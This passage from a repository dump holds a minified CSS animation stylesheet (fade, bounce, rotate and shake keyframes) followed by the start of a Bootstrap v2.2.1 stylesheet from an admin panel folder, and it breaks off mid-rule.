fadeInDownBig{0%{opacity:0;-ms-transform:translateY(-2000px);}100%{opacity:1;-ms-transform:translateY(0);}}@-ms-keyframes fadeOutDownBig{0%{opacity:1;-ms-transform:translateY(0);}100%{opacity:0;-ms-transform:translateY(2000px);}}@-ms-keyframes fadeInRightBig{0%{opacity:0;-ms-transform:translateX(2000px);}100%{opacity:1;-ms-transform:translateX(0);}}@-ms-keyframes fadeOutLeftBig{0%{opacity:1;-ms-transform:translateX(0);}100%{opacity:0;-ms-transform:translateX(-2000px);}}@-ms-keyframes fadeInLeftBig{0%{opacity:0;-ms-transform:translateX(-2000px);}100%{opacity:1;-ms-transform:translateX(0);}}@-ms-keyframes fadeOutRightBig{0%{opacity:1;-ms-transform:translateX(0);}100%{opacity:0;-ms-transform:translateX(2000px);}}@-ms-keyframes bounceIn{0%{opacity:0;-ms-transform:scale(.3);}50%{opacity:1;-ms-transform:scale(1.05);}70%{-ms-transform:scale(.9);}100%{-ms-transform:scale(1);}}@-ms-keyframes bounceInDown{0%{opacity:0;-ms-transform:translateY(-2000px);}60%{opacity:1;-ms-transform:translateY(30px);}80%{-ms-transform:translateY(-10px);}100%{-ms-transform:translateY(0);}}@-ms-keyframes bounceInUp{0%{opacity:0;-ms-transform:translateY(2000px);}60%{opacity:1;-ms-transform:translateY(-30px);}80%{-ms-transform:translateY(10px);}100%{-ms-transform:translateY(0);}}@-ms-keyframes bounceInRight{0%{opacity:0;-ms-transform:translateX(2000px);}60%{opacity:1;-ms-transform:translateX(-30px);}80%{-ms-transform:translateX(10px);}100%{-ms-transform:translateX(0);}}@-ms-keyframes bounceInLeft{0%{opacity:0;-ms-transform:translateX(-2000px);}60%{opacity:1;-ms-transform:translateX(30px);}80%{-ms-transform:translateX(-10px);}100%{-ms-transform:translateX(0);}}@-ms-keyframes bounceOut{0%{-ms-transform:scale(1);}25%{-ms-transform:scale(.95);}50%{opacity:1;-ms-transform:scale(1.1);}100%{opacity:0;-ms-transform:scale(.3);}}@-ms-keyframes bounceOutUp{0%{-ms-transform:translateY(0);}20%{opacity:1;-ms-transform:translateY(20px);}100%{opacity:0;-ms-transform:translateY(-2000px);}}@-ms-keyframes bounceOutDown{0%{-ms-transform:translateY(0);}20%{opacity:1;-ms-transform:translateY(-20px);}100%{opacity:0;-ms-transform:translateY(2000px);}}@-ms-keyframes bounceOutLeft{0%{-ms-transform:translateX(0);}20%{opacity:1;-ms-transform:translateX(20px);}100%{opacity:0;-ms-transform:translateX(-2000px);}}@-ms-keyframes bounceOutRight{0%{-ms-transform:translateX(0);}20%{opacity:1;-ms-transform:translateX(-20px);}100%{opacity:0;-ms-transform:translateX(2000px);}}@-ms-keyframes flash{0%{opacity:1;}25%{opacity:0;}50%{opacity:1;}75%{opacity:0;}100%{opacity:1;}}@-ms-keyframes bounce{0%{-ms-transform:translateY(0);}20%{-ms-transform:translateY(0);}40%{-ms-transform:translateY(-30px);}50%{-ms-transform:translateY(0);}60%{-ms-transform:translateY(-15px);}80%{-ms-transform:translateY(0);}100%{-ms-transform:translateY(0);}}@-ms-keyframes shake{0%{-ms-transform:translateX(0);}10%{-ms-transform:translateX(-10px);}20%{-ms-transform:translateX(10px);}30%{-ms-transform:translateX(-10px);}40%{-ms-transform:translateX(10px);}50%{-ms-transform:translateX(-10px);}60%{-ms-transform:translateX(10px);}70%{-ms-transform:translateX(-10px);}80%{-ms-transform:translateX(10px);}90%{-ms-transform:translateX(-10px);}100%{-ms-transform:translateX(0);}}@-ms-keyframes rotateInDownLeft{0%{-ms-transform-origin:left bottom;-ms-transform:rotate(-90deg);opacity:0;}100%{-ms-transform-origin:left bottom;-ms-transform:rotate(0);opacity:1;}}@-ms-keyframes rotateInUpLeft{0%{-ms-transform-origin:left bottom;-ms-transform:rotate(90deg);opacity:0;}100%{-ms-transform-origin:left bottom;-ms-transform:rotate(0);opacity:1;}}@-ms-keyframes rotateInUpRight{0%{-ms-transform-origin:right bottom;-ms-transform:rotate(-90deg);opacity:0;}100%{-ms-transform-origin:right bottom;-ms-transform:rotate(0);opacity:1;}}@-ms-keyframes rotateInDownRight{0%{-ms-transform-origin:right bottom;-ms-transform:rotate(90deg);opacity:0;}100%{-ms-transform-origin:right bottom;-ms-transform:rotate(0);opacity:1;}}@-ms-keyframes rotateOutDownLeft{0%{-ms-transform-origin:left bottom;-ms-transform:rotate(0);opacity:1;}100%{-ms-transform-origin:left bottom;-ms-transform:rotate(90deg);opacity:0;}}@-ms-keyframes rotateOutUpLeft{0%{-ms-transform-origin:left bottom;-ms-transform:rotate(0);opacity:1;}100%{-ms-transform-origin:left bottom;-ms-transform:rotate(-90deg);opacity:0;}}@-ms-keyframes rotateOutDownRight{0%{-ms-transform-origin:right bottom;-ms-transform:rotate(0);opacity:1;}100%{-ms-transform-origin:right bottom;-ms-transform:rotate(-90deg);opacity:0;}}@-ms-keyframes rotateOutUpRight{0%{-ms-transform-origin:right bottom;-ms-transform:rotate(0);opacity:1;}100%{-ms-transform-origin:right bottom;-ms-transform:rotate(90deg);opacity:0;}}@-ms-keyframes rotateIn{0%{-ms-transform-origin:center center;-ms-transform:rotate(-200deg);opacity:0;}100%{-ms-transform-origin:center center;-ms-transform:rotate(0);opacity:1;}}@-ms-keyframes rotateOut{0%{-ms-transform-origin:center center;-ms-transform:rotate(0);opacity:1;}100%{-ms-transform-origin:center center;-ms-transform:rotate(200deg);opacity:0;}}@-ms-keyframes tada{0%{-ms-transform:scale(1);}10%{-ms-transform:scale(0.9) rotate(-3deg);}20%{-ms-transform:scale(0.9) rotate(-3deg);}30%{-ms-transform:scale(1.1) rotate(3deg);}40%{-ms-transform:scale(1.1) rotate(-3deg);}50%{-ms-transform:scale(1.1) rotate(3deg);}60%{-ms-transform:scale(1.1) rotate(-3deg);}70%{-ms-transform:scale(1.1) rotate(3deg);}80%{-ms-transform:scale(1.1) rotate(-3deg);}90%{-ms-transform:scale(1.1) rotate(3deg);}100%{-ms-transform:scale(1) rotate(0);}}@keyframes fadeIn{0%{opacity:0;}100%{opacity:1;}}@keyframes fadeOut{0%{opacity:1;}100%{opacity:0;}}@keyframes fadeInUp{0%{opacity:0;transform:translateY(20px);}100%{opacity:1;transform:translateY(0);}}@keyframes fadeOutUp{0%{opacity:1;transform:translateY(0);}100%{opacity:0;transform:translateY(-20px);}}@keyframes fadeInDown{0%{opacity:0;transform:translateY(-20px);}100%{opacity:1;transform:translateY(0);}}@keyframes fadeOutDown{0%{opacity:1;transform:translateY(0);}100%{opacity:0;transform:translateY(20px);}}@keyframes fadeInRight{0%{opacity:0;transform:translateX(20px);}100%{opacity:1;transform:translateX(0);}}@keyframes fadeOutLeft{0%{opacity:1;transform:translateX(0);}100%{opacity:0;transform:translateX(-20px);}}@keyframes fadeInLeft{0%{opacity:0;transform:translateX(-20px);}100%{opacity:1;transform:translateX(0);}}@keyframes fadeOutRight{0%{opacity:1;transform:translateX(0);}100%{opacity:0;transform:translateX(20px);}}@keyframes fadeInUpBig{0%{opacity:0;transform:translateY(2000px);}100%{opacity:1;transform:translateY(0);}}@keyframes fadeOutUpBig{0%{opacity:1;transform:translateY(0);}100%{opacity:0;transform:translateY(-2000px);}}@keyframes fadeInDownBig{0%{opacity:0;transform:translateY(-2000px);}100%{opacity:1;transform:translateY(0);}}@keyframes fadeOutDownBig{0%{opacity:1;transform:translateY(0);}100%{opacity:0;transform:translateY(2000px);}}@keyframes fadeInRightBig{0%{opacity:0;transform:translateX(2000px);}100%{opacity:1;transform:translateX(0);}}@keyframes fadeOutLeftBig{0%{opacity:1;transform:translateX(0);}100%{opacity:0;transform:translateX(-2000px);}}@keyframes fadeInLeftBig{0%{opacity:0;transform:translateX(-2000px);}100%{opacity:1;transform:translateX(0);}}@keyframes fadeOutRightBig{0%{opacity:1;transform:translateX(0);}100%{opacity:0;transform:translateX(2000px);}}@keyframes bounceIn{0%{opacity:0;transform:scale(.3);}50%{opacity:1;transform:scale(1.05);}70%{transform:scale(.9);}100%{transform:scale(1);}}@keyframes bounceInDown{0%{opacity:0;transform:translateY(-2000px);}60%{opacity:1;transform:translateY(30px);}80%{transform:translateY(-10px);}100%{transform:translateY(0);}}@keyframes bounceInUp{0%{opacity:0;transform:translateY(2000px);}60%{opacity:1;transform:translateY(-30px);}80%{transform:translateY(10px);}100%{transform:translateY(0);}}@keyframes bounceInRight{0%{opacity:0;transform:translateX(2000px);}60%{opacity:1;transform:translateX(-30px);}80%{transform:translateX(10px);}100%{transform:translateX(0);}}@keyframes bounceInLeft{0%{opacity:0;transform:translateX(-2000px);}60%{opacity:1;transform:translateX(30px);}80%{transform:translateX(-10px);}100%{transform:translateX(0);}}@keyframes bounceOut{0%{transform:scale(1);}25%{transform:scale(.95);}50%{opacity:1;transform:scale(1.1);}100%{opacity:0;transform:scale(.3);}}@keyframes bounceOutUp{0%{transform:translateY(0);}20%{opacity:1;transform:translateY(20px);}100%{opacity:0;transform:translateY(-2000px);}}@keyframes bounceOutDown{0%{transform:translateY(0);}20%{opacity:1;transform:translateY(-20px);}100%{opacity:0;transform:translateY(2000px);}}@keyframes bounceOutLeft{0%{transform:translateX(0);}20%{opacity:1;transform:translateX(20px);}100%{opacity:0;transform:translateX(-2000px);}}@keyframes bounceOutRight{0%{transform:translateX(0);}20%{opacity:1;transform:translateX(-20px);}100%{opacity:0;transform:translateX(2000px);}}@keyframes flash{0%{opacity:1;}25%{opacity:0;}50%{opacity:1;}75%{opacity:0;}100%{opacity:1;}}@keyframes bounce{0%{transform:translateY(0);}20%{transform:translateY(0);}40%{transform:translateY(-30px);}50%{transform:translateY(0);}60%{transform:translateY(-15px);}80%{transform:translateY(0);}100%{transform:translateY(0);}}@keyframes shake{0%{transform:translateX(0);}10%{transform:translateX(-10px);}20%{transform:translateX(10px);}30%{transform:translateX(-10px);}40%{transform:translateX(10px);}50%{transform:translateX(-10px);}60%{transform:translateX(10px);}70%{transform:translateX(-10px);}80%{transform:translateX(10px);}90%{transform:translateX(-10px);}100%{transform:translateX(0);}}@keyframes rotateInDownLeft{0%{transform-origin:left bottom;transform:rotate(-90deg);opacity:0;}100%{transform-origin:left bottom;transform:rotate(0);opacity:1;}}@keyframes rotateInUpLeft{0%{transform-origin:left bottom;transform:rotate(90deg);opacity:0;}100%{transform-origin:left bottom;transform:rotate(0);opacity:1;}}@keyframes rotateInUpRight{0%{transform-origin:right bottom;transform:rotate(-90deg);opacity:0;}100%{transform-origin:right bottom;transform:rotate(0);opacity:1;}}@keyframes rotateInDownRight{0%{transform-origin:right bottom;transform:rotate(90deg);opacity:0;}100%{transform-origin:right bottom;transform:rotate(0);opacity:1;}}@keyframes rotateOutDownLeft{0%{transform-origin:left bottom;transform:rotate(0);opacity:1;}100%{transform-origin:left bottom;transform:rotate(90deg);opacity:0;}}@keyframes rotateOutUpLeft{0%{transform-origin:left bottom;transform:rotate(0);opacity:1;}100%{transform-origin:left bottom;transform:rotate(-90deg);opacity:0;}}@keyframes rotateOutDownRight{0%{transform-origin:right bottom;transform:rotate(0);opacity:1;}100%{transform-origin:right bottom;transform:rotate(-90deg);opacity:0;}}@keyframes rotateOutUpRight{0%{transform-origin:right bottom;transform:rotate(0);opacity:1;}100%{transform-origin:right bottom;transform:rotate(90deg);opacity:0;}}@keyframes rotateIn{0%{transform-origin:center center;transform:rotate(-200deg);opacity:0;}100%{transform-origin:center center;transform:rotate(0);opacity:1;}}@keyframes rotateOut{0%{transform-origin:center center;transform:rotate(0);opacity:1;}100%{transform-origin:center center;transform:rotate(200deg);opacity:0;}}@keyframes tada{0%{transform:scale(1);}10%{transform:scale(0.9) rotate(-3deg);}20%{transform:scale(0.9) rotate(-3deg);}30%{transform:scale(1.1) rotate(3deg);}40%{transform:scale(1.1) rotate(-3deg);}50%{transform:scale(1.1) rotate(3deg);}60%{transform:scale(1.1) rotate(-3deg);}70%{transform:scale(1.1) rotate(3deg);}80%{transform:scale(1.1) rotate(-3deg);}90%{transform:scale(1.1) rotate(3deg);}100%{transform:scale(1) rotate(0);}}.flash{-webkit-animation-name:flash;-moz-animation-name:flash;-ms-animation-name:flash;animation-name:flash;}.fadeIn{-webkit-animation-name:fadeIn;-moz-animation-name:fadeIn;-ms-animation-name:fadeIn;animation-name:fadeIn;}.fadeInUp{-webkit-animation-name:fadeInUp;-moz-animation-name:fadeInUp;-ms-animation-name:fadeInUp;animation-name:fadeInUp;}.fadeInDown{-webkit-animation-name:fadeInDown;-moz-animation-name:fadeInDown;-ms-animation-name:fadeInDown;animation-name:fadeInDown;}.fadeInLeft{-webkit-animation-name:fadeInLeft;-moz-animation-name:fadeInLeft;-ms-animation-name:fadeInLeft;animation-name:fadeInLeft;}.fadeInRight{-webkit-animation-name:fadeInRight;-moz-animation-name:fadeInRight;-ms-animation-name:fadeInRight;animation-name:fadeInRight;}.fadeOut{-webkit-animation-name:fadeOut;-moz-animation-name:fadeOut;-ms-animation-name:fadeOut;animation-name:fadeOut;}.fadeOutUp{-webkit-animation-name:fadeOutUp;-moz-animation-name:fadeOutUp;-ms-animation-name:fadeOutUp;animation-name:fadeOutUp;}.fadeOutDown{-webkit-animation-name:fadeOutDown;-moz-animation-name:fadeOutDown;-ms-animation-name:fadeOutDown;animation-name:fadeOutDown;}.fadeOutLeft{-webkit-animation-name:fadeOutLeft;-moz-animation-name:fadeOutLeft;-ms-animation-name:fadeOutLeft;animation-name:fadeOutLeft;}.fadeOutRight{-webkit-animation-name:fadeOutRight;-moz-animation-name:fadeOutRight;-ms-animation-name:fadeOutRight;animation-name:fadeOutRight;}.fadeInUpBig{-webkit-animation-name:fadeInUpBig;-moz-animation-name:fadeInUpBig;-ms-animation-name:fadeInUpBig;animation-name:fadeInUpBig;}.fadeInDownBig{-webkit-animation-name:fadeInDownBig;-moz-animation-name:fadeInDownBig;-ms-animation-name:fadeInDownBig;animation-name:fadeInDownBig;}.fadeInLeftBig{-webkit-animation-name:fadeInLeftBig;-moz-animation-name:fadeInLeftBig;-ms-animation-name:fadeInLeftBig;animation-name:fadeInLeftBig;}.fadeInRightBig{-webkit-animation-name:fadeInRightBig;-moz-animation-name:fadeInRightBig;-ms-animation-name:fadeInRightBig;animation-name:fadeInRightBig;}.fadeOutUpBig{-webkit-animation-name:fadeOutUpBig;-moz-animation-name:fadeOutUpBig;-ms-animation-name:fadeOutUpBig;animation-name:fadeOutUpBig;}.fadeOutDownBig{-webkit-animation-name:fadeOutDownBig;-moz-animation-name:fadeOutDownBig;-ms-animation-name:fadeOutDownBig;animation-name:fadeOutDownBig;}.fadeOutLeftBig{-webkit-animation-name:fadeOutLeftBig;-moz-animation-name:fadeOutLeftBig;-ms-animation-name:fadeOutLeftBig;animation-name:fadeOutLeftBig;}.fadeOutRightBig{-webkit-animation-name:fadeOutRightBig;-moz-animation-name:fadeOutRightBig;-ms-animation-name:fadeOutRightBig;animation-name:fadeOutRightBig;}.bounceIn{-webkit-animation-name:bounceIn;-moz-animation-name:bounceIn;-ms-animation-name:bounceIn;animation-name:bounceIn;}.bounceInDown{-webkit-animation-name:bounceInDown;-moz-animation-name:bounceInDown;-ms-animation-name:bounceInDown;animation-name:bounceInDown;}.bounceInUp{-webkit-animation-name:bounceInUp;-moz-animation-name:bounceInUp;-ms-animation-name:bounceInUp;animation-name:bounceInUp;}.bounceInLeft{-webkit-animation-name:bounceInLeft;-moz-animation-name:bounceInLeft;-ms-animation-name:bounceInLeft;animation-name:bounceInLeft;}.bounceInRight{-webkit-animation-name:bounceInRight;-moz-animation-name:bounceInRight;-ms-animation-name:bounceInRight;animation-name:bounceInRight;}.bounceOut{-webkit-animation-name:bounceOut;-moz-animation-name:bounceOut;-ms-animation-name:bounceOut;animation-name:bounceOut;}.bounceOutUp{-webkit-animation-name:bounceOutUp;-moz-animation-name:bounceOutUp;-ms-animation-name:bounceOutUp;animation-name:bounceOutUp;}.bounceOutDown{-webkit-animation-name:bounceOutDown;-moz-animation-name:bounceOutDown;-ms-animation-name:bounceOutDown;animation-name:bounceOutDown;}.bounceOutLeft{-webkit-animation-name:bounceOutLeft;-moz-animation-name:bounceOutLeft;-ms-animation-name:bounceOutLeft;animation-name:bounceOutLeft;}.bounceOutRight{-webkit-animation-name:bounceOutRight;-moz-animation-name:bounceOutRight;-ms-animation-name:bounceOutRight;animation-name:bounceOutRight;}.bounce{-webkit-animation-name:bounce;-moz-animation-name:bounce;-ms-animation-name:bounce;animation-name:bounce;}.shake{-webkit-animation-name:shake;-moz-animation-name:shake;-ms-animation-name:shake;animation-name:shake;}.rotateInDownLeft{-webkit-animation-name:rotateInDownLeft;-moz-animation-name:rotateInDownLeft;-ms-animation-name:rotateInDownLeft;animation-name:rotateInDownLeft;}.rotateInDownRight{-webkit-animation-name:rotateInDownRight;-moz-animation-name:rotateInDownRight;-ms-animation-name:rotateInDownRight;animation-name:rotateInDownRight;}.rotateInUpLeft{-webkit-animation-name:rotateInUpLeft;-moz-animation-name:rotateInUpLeft;-ms-animation-name:rotateInUpLeft;animation-name:rotateInUpLeft;}.rotateInUpRight{-webkit-animation-name:rotateInUpRight;-moz-animation-name:rotateInUpRight;-ms-animation-name:rotateInUpRight;animation-name:rotateInUpRight;}.rotateOutDownLeft{-webkit-animation-name:rotateOutDownLeft;-moz-animation-name:rotateOutDownLeft;-ms-animation-name:rotateOutDownLeft;animation-name:rotateOutDownLeft;}.rotateOutDownRight{-webkit-animation-name:rotateOutDownRight;-moz-animation-name:rotateOutDownRight;-ms-animation-name:rotateOutDownRight;animation-name:rotateOutDownRight;}.rotateOutUpLeft{-webkit-animation-name:rotateOutUpLeft;-moz-animation-name:rotateOutUpLeft;-ms-animation-name:rotateOutUpLeft;animation-name:rotateOutUpLeft;}.rotateOutUpRight{-webkit-animation-name:rotateOutUpRight;-moz-animation-name:rotateOutUpRight;-ms-animation-name:rotateOutUpRight;animation-name:rotateOutUpRight;}.rotateIn{-webkit-animation-name:rotateIn;-moz-animation-name:rotateIn;-ms-animation-name:rotateIn;animation-name:rotateIn;}.rotateOut{-webkit-animation-name:rotateOut;-moz-animation-name:rotateOut;-ms-animation-name:rotateOut;animation-name:rotateOut;}.tada{-webkit-animation-name:tada;-moz-animation-name:tada;-ms-animation-name:tada;animation-name:tada;} -------------------------------------------------------------------------------- /展示端/Adminpanel/css/bootstrap.min.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap v2.2.1 3 | * 4 | * Copyright 2012 Twitter,Inc 5 | * Licensed under the Apache License v2.0 6 | * http://www.apache.org/licenses/LICENSE-2.0 7 | * 8 | * Designed and built with all the love in the world @twitter by @mdo and @fat. 9 | */article,aside,details,figcaption,figure,footer,header,hgroup,nav,section { 10 | display:block 11 | } 12 | audio,canvas,video { 13 | display:inline-block; 14 | *display:inline; 15 | *zoom:1 16 | } 17 | audio:not([controls]) { 18 | display:none 19 | } 20 | html { 21 | font-size:100%; 22 | -webkit-text-size-adjust:100%; 23 | -ms-text-size-adjust:100% 24 | } 25 | a:focus { 26 | outline:thin dotted #333; 27 | outline:5px auto -webkit-focus-ring-color; 28 | outline-offset:-2px 29 | } 30 | a:hover,a:active { 31 | outline:0 32 | } 33 | sub,sup { 34 | position:relative; 35 | font-size:75%; 36 | line-height:0; 37 | vertical-align:baseline 38 | } 39 | sup { 40 | top:-0.5em 41 | } 42 | sub { 43 | bottom:-0.25em 44 | } 45 | img { 46 | width:auto\9; 47 | height:auto; 48 | max-width:100%; 49 | vertical-align:middle; 50 | border:0; 51 | -ms-interpolation-mode:bicubic 52 | } 53 | #map_canvas img,.google-maps img { 54 | max-width:none 55 | } 56 | button,input,select,textarea { 57 | margin:0; 58 | font-size:100%; 59 | vertical-align:middle 60 | } 61 | button,input { 62 | *overflow:visible; 63 | line-height:normal 64 | } 65 | button::-moz-focus-inner,input::-moz-focus-inner { 66 | padding:0; 67 | border:0 68 | } 69 | button,html input[type="button"],input[type="reset"],input[type="submit"] { 70 | cursor:pointer; 71 | -webkit-appearance:button 72 | } 73 | input[type="search"] { 74 | -webkit-box-sizing:content-box; 75 | -moz-box-sizing:content-box; 76 | box-sizing:content-box; 77 | -webkit-appearance:textfield 78 | } 79 | input[type="search"]::-webkit-search-decoration,input[type="search"]::-webkit-search-cancel-button { 80 | -webkit-appearance:none 81 | } 82 | textarea { 83 | overflow:auto; 84 | vertical-align:top 85 | } 86 | .clearfix { 87 | *zoom:1 88 | } 89 | .clearfix:before,.clearfix:after { 90 | display:table; 91 | line-height:0; 92 | content:"" 93 | } 94 | .clearfix:after { 95 | clear:both 96 | } 97 | .hide-text { 98 | font:0/0 a; 99 | color:transparent; 100 | text-shadow:none; 101 | background-color:transparent; 102 | border:0 103 | } 104 | .input-block-level { 105 | display:block; 106 | width:100%; 107 | min-height:30px; 108 | -webkit-box-sizing:border-box; 109 | -moz-box-sizing:border-box; 110 | box-sizing:border-box 111 | } 112 | body { 113 | margin:0; 114 | font-family:"Helvetica Neue",'Microsoft YaHei',Helvetica,Arial,sans-serif; 115 | font-size:14px; 116 | line-height:20px; 117 | color:#333; 118 | background-color:#fff 119 | } 120 | a { 121 | color:#08c; 122 | text-decoration:none 123 | } 124 | a:hover { 125 | color:#005580; 126 | text-decoration:underline 127 | } 128 | .img-rounded { 129 | -webkit-border-radius:6px; 130 | -moz-border-radius:6px; 131 | border-radius:6px 132 | } 133 | .img-polaroid { 134 | padding:4px; 135 | background-color:#fff; 136 | border:1px solid #ccc; 137 | border:1px solid rgba(0,0,0,0.2); 138 | -webkit-box-shadow:0 1px 3px rgba(0,0,0,0.1); 139 | -moz-box-shadow:0 1px 3px rgba(0,0,0,0.1); 140 | box-shadow:0 1px 3px rgba(0,0,0,0.1) 141 | } 142 | .img-circle { 143 | -webkit-border-radius:500px; 144 | -moz-border-radius:500px; 145 | border-radius:500px 146 | } 147 | .row { 148 | margin-left:-20px; 149 | *zoom:1 150 | } 151 | .row:before,.row:after { 152 | display:table; 153 | line-height:0; 154 | content:"" 155 | } 156 | .row:after { 157 | clear:both 158 | } 159 | [class*="span"] { 160 | float:left; 161 | min-height:1px; 162 | margin-left:20px 163 | } 164 | .container,.navbar-static-top .container,.navbar-fixed-top .container,.navbar-fixed-bottom .container { 165 | width:940px 166 | } 167 | .span12 { 168 | width:940px 169 | } 170 | .span11 { 171 | width:860px 172 | } 173 | .span10 { 174 | width:780px 175 | } 176 | .span9 { 177 | width:700px 178 | } 179 | .span8 { 180 | width:620px 181 | } 182 | .span7 { 183 | width:540px 184 | } 185 | .span6 { 186 | width:460px 187 | } 188 | .span5 { 189 | width:380px 190 | } 191 | .span4 { 192 | width:300px 193 | } 194 | .span3 { 195 | width:220px 196 | } 197 | .span2 { 198 | width:140px 199 | } 200 | .span1 { 201 | width:60px 202 | } 203 | .offset12 { 204 | margin-left:980px 205 | } 206 | .offset11 { 207 | margin-left:900px 208 | } 209 | .offset10 { 210 | margin-left:820px 211 | } 212 | .offset9 { 213 | margin-left:740px 214 | } 215 | .offset8 { 216 | margin-left:660px 217 | } 218 | .offset7 { 219 | margin-left:580px 220 | } 221 | .offset6 { 222 | margin-left:500px 223 | } 224 | .offset5 { 225 | margin-left:420px 226 | } 227 | .offset4 { 228 | margin-left:340px 229 | } 230 | .offset3 { 231 | margin-left:260px 232 | } 233 | .offset2 { 234 | margin-left:180px 235 | } 236 | .offset1 { 237 | margin-left:100px 238 | } 239 | .row-fluid { 240 | width:100%; 241 | *zoom:1 242 | } 243 | .row-fluid:before,.row-fluid:after { 244 | display:table; 245 | line-height:0; 246 | content:"" 247 | } 248 | .row-fluid:after { 249 | clear:both 250 | } 251 | .row-fluid [class*="span"] { 252 | display:block; 253 | float:left; 254 | width:100%; 255 | min-height:30px; 256 | margin-left:2.127659574468085%; 257 | *margin-left:2.074468085106383%; 258 | -webkit-box-sizing:border-box; 259 | -moz-box-sizing:border-box; 260 | box-sizing:border-box 261 | } 262 | .row-fluid [class*="span"]:first-child { 263 | margin-left:0 264 | } 265 | .row-fluid .controls-row [class*="span"]+[class*="span"] { 266 | margin-left:2.127659574468085% 267 | } 268 | .row-fluid .span12 { 269 | width:100%; 270 | *width:99.94680851063829% 271 | } 272 | .row-fluid .span11 { 273 | width:91.48936170212765%; 274 | *width:91.43617021276594% 275 | } 276 | .row-fluid .span10 { 277 | width:82.97872340425532%; 278 | *width:82.92553191489361% 279 | } 280 | .row-fluid .span9 { 281 | width:74.46808510638297%; 282 | *width:74.41489361702126% 283 | } 284 | .row-fluid .span8 { 285 | width:65.95744680851064%; 286 | *width:65.90425531914893% 287 | } 288 | .row-fluid .span7 { 289 | width:57.44680851063829%; 290 | *width:57.39361702127659% 291 | } 292 | .row-fluid .span6 { 293 | width:48.93617021276595%; 294 | *width:48.88297872340425% 295 | } 296 | .row-fluid .span5 { 297 | width:40.42553191489362%; 298 | *width:40.37234042553192% 299 | } 300 | .row-fluid .span4 { 301 | width:31.914893617021278%; 302 | *width:31.861702127659576% 303 | } 304 | .row-fluid .span3 { 305 | width:23.404255319148934%; 306 | *width:23.351063829787233% 307 | } 308 | .row-fluid .span2 { 309 | width:14.893617021276595%; 310 | *width:14.840425531914894% 311 | } 312 | .row-fluid .span1 { 313 | width:6.382978723404255%; 314 | *width:6.329787234042553% 315 | } 316 | .row-fluid .offset12 { 317 | margin-left:104.25531914893617%; 318 | *margin-left:104.14893617021275% 319 | } 320 | .row-fluid .offset12:first-child { 321 | margin-left:102.12765957446808%; 322 | *margin-left:102.02127659574467% 323 | } 324 | .row-fluid .offset11 { 325 | margin-left:95.74468085106382%; 326 | *margin-left:95.6382978723404% 327 | } 328 | .row-fluid .offset11:first-child { 329 | margin-left:93.61702127659574%; 330 | *margin-left:93.51063829787232% 331 | } 332 | .row-fluid .offset10 { 333 | margin-left:87.23404255319149%; 334 | *margin-left:87.12765957446807% 335 | } 336 | .row-fluid .offset10:first-child { 337 | margin-left:85.1063829787234%; 338 | *margin-left:84.99999999999999% 339 | } 340 | .row-fluid .offset9 { 341 | margin-left:78.72340425531914%; 342 | *margin-left:78.61702127659572% 343 | } 344 | .row-fluid .offset9:first-child { 345 | margin-left:76.59574468085106%; 346 | *margin-left:76.48936170212764% 347 | } 348 | .row-fluid .offset8 { 349 | margin-left:70.2127659574468%; 350 | *margin-left:70.10638297872339% 351 | } 352 | .row-fluid .offset8:first-child { 353 | margin-left:68.08510638297872%; 354 | *margin-left:67.9787234042553% 355 | } 356 | .row-fluid .offset7 { 357 | margin-left:61.70212765957446%; 358 | *margin-left:61.59574468085106% 359 | } 360 | .row-fluid .offset7:first-child { 361 | margin-left:59.574468085106375%; 362 | *margin-left:59.46808510638297% 363 | } 364 | .row-fluid .offset6 { 365 | margin-left:53.191489361702125%; 366 | *margin-left:53.085106382978715% 367 | } 368 | .row-fluid .offset6:first-child { 369 | margin-left:51.063829787234035%; 370 | *margin-left:50.95744680851063% 371 | } 372 | .row-fluid .offset5 { 373 | margin-left:44.68085106382979%; 374 | *margin-left:44.57446808510638% 375 | } 376 | .row-fluid .offset5:first-child { 377 | margin-left:42.5531914893617%; 378 | *margin-left:42.4468085106383% 379 | } 380 | .row-fluid .offset4 { 381 | margin-left:36.170212765957444%; 382 | *margin-left:36.06382978723405% 383 | } 384 | .row-fluid .offset4:first-child { 385 | margin-left:34.04255319148936%; 386 | *margin-left:33.93617021276596% 387 | } 388 | .row-fluid .offset3 { 389 | margin-left:27.659574468085104%; 390 | *margin-left:27.5531914893617% 391 | } 392 | .row-fluid .offset3:first-child { 393 | margin-left:25.53191489361702%; 394 | *margin-left:25.425531914893618% 395 | } 396 | .row-fluid .offset2 { 397 | margin-left:19.148936170212764%; 398 | *margin-left:19.04255319148936% 399 | } 400 | .row-fluid .offset2:first-child { 401 | margin-left:17.02127659574468%; 402 | *margin-left:16.914893617021278% 403 | } 404 | .row-fluid .offset1 { 405 | margin-left:10.638297872340425%; 406 | *margin-left:10.53191489361702% 407 | } 408 | .row-fluid .offset1:first-child { 409 | margin-left:8.51063829787234%; 410 | *margin-left:8.404255319148938% 411 | } 412 | [class*="span"].hide,.row-fluid [class*="span"].hide { 413 | display:none 414 | } 415 | [class*="span"].pull-right,.row-fluid [class*="span"].pull-right { 416 | float:right 417 | } 418 | .container { 419 | margin-right:auto; 420 | margin-left:auto; 421 | *zoom:1 422 | } 423 | .container:before,.container:after { 424 | display:table; 425 | line-height:0; 426 | content:"" 427 | } 428 | .container:after { 429 | clear:both 430 | } 431 | .container-fluid { 432 | padding-right:20px; 433 | padding-left:20px; 434 | *zoom:1 435 | } 436 | .container-fluid:before,.container-fluid:after { 437 | display:table; 438 | line-height:0; 439 | content:"" 440 | } 441 | .container-fluid:after { 442 | clear:both 443 | } 444 | p { 445 | margin:0 0 10px 446 | } 447 | .lead { 448 | margin-bottom:20px; 449 | font-size:21px; 450 | font-weight:200; 451 | line-height:30px 452 | } 453 | small { 454 | font-size:85% 455 | } 456 | strong { 457 | font-weight:bold 458 | } 459 | em { 460 | font-style:italic 461 | } 462 | cite { 463 | font-style:normal 464 | } 465 | .muted { 466 | color:#999 467 | } 468 | .text-warning { 469 | color:#c09853 470 | } 471 | a.text-warning:hover { 472 | color:#a47e3c 473 | } 474 | .text-error { 475 | color:#b94a48 476 | } 477 | a.text-error:hover { 478 | color:#953b39 479 | } 480 | .text-info { 481 | color:#3a87ad 482 | } 483 | a.text-info:hover { 484 | color:#2d6987 485 | } 486 | .text-success { 487 | color:#468847 488 | } 489 | a.text-success:hover { 490 | color:#356635 491 | } 492 | h1,h2,h3,h4,h5,h6 { 493 | margin:10px 0; 494 | font-family:inherit; 495 | font-weight:bold; 496 | line-height:20px; 497 | color:inherit; 498 | text-rendering:optimizelegibility 499 | } 500 | h1 small,h2 small,h3 small,h4 small,h5 small,h6 small { 501 | font-weight:normal; 502 